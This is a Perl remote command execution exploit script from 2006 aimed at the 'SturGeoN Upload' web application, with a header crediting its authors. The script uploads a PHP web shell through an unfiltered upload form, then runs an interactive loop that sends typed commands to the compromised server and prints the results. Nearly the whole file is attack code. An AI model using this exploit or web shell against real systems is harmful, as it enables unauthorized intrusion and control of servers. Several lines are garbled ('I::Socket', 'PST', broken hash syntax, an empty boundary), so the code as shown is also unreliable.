#!/usr/bin/perl
#
# VulnScr: SturGeoN Upload v1
# Author: Jihad BENABRA
# Download:
# WTF?:
#
# Date: Sat July 1 10:04 2006
# Credits: Vuln and Xpl by DarkFig (gmdarkfig (AT) gmail (DOT) com)
# Advisorie: No, too short
# Problem: Do not filter the uploaded files
# Exploit: Upload a php file (<? $cmd=stripslashes($cmd); system($cmd); ?>), give a shell.
# URL:
#
# ++
# | SturGeoN Upload Remote Command Execution Exploit |
# ++
# [localhost]uname -a
# Linux ws6 2.6.16-SE-k8 #6 SMP PREEMPT Thu May 11 18:19:55 UTC 2006 i686 GNU/Linux
#
# [localhost]exit
# ++
#
use I::Socket;
use LWP::Simple;
header();
if(!$ARGV[2]){
print "| Usage: <host<path<filename|\n";
print "++\n";
exit;
}
my($host,$path,$file);
$host = $ARGV[0];
$path = $ARGV[1];
$file = $ARGV[2];
my $sock = I::Socket::INET->new(
PeerAddr =$host,
PeerPort =80,
Proto ="tcp",
) or print "[-]Can't connect to the host\n" and the_end();
print "[+]Connected to the host\n";
print $sock "PST http://".$host.$path.$file." HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Content-Type: multipart/form-data; boundary=\r\n";
print $sock "Content-Length: 274\r\n\n";
print $sock "\r\n";
print $sock "Content-Disposition: form-data; name=\"UpdFILE\"; filename=\"\"\r\n";
print $sock "Content-Type: application/x-php\r\n\n";
print $sock "<?\r\n\$cmd=stripslashes(\$cmd);\r\nsystem(\$cmd);\ r\n?>\r\n";
print $sock "\r\n\n";
close($sock);
print "[+]File must be uploaded\n";
while(1 ne 2) {
print "[$host]";
chomp($cmd = <STDIN>);
if($cmd eq 'exit') { &the_end; }
$req = get('http://'.$host.$path.''.$cmd) or print "[-]Exploit failed\n";
print $req."\n";
}
sub header {
print "\n++\n";
print "| SturGeoN Upload Remote Command Execution Exploit |\n";
print "++\n";
}
sub the_end {
print "++\n";
exit;
}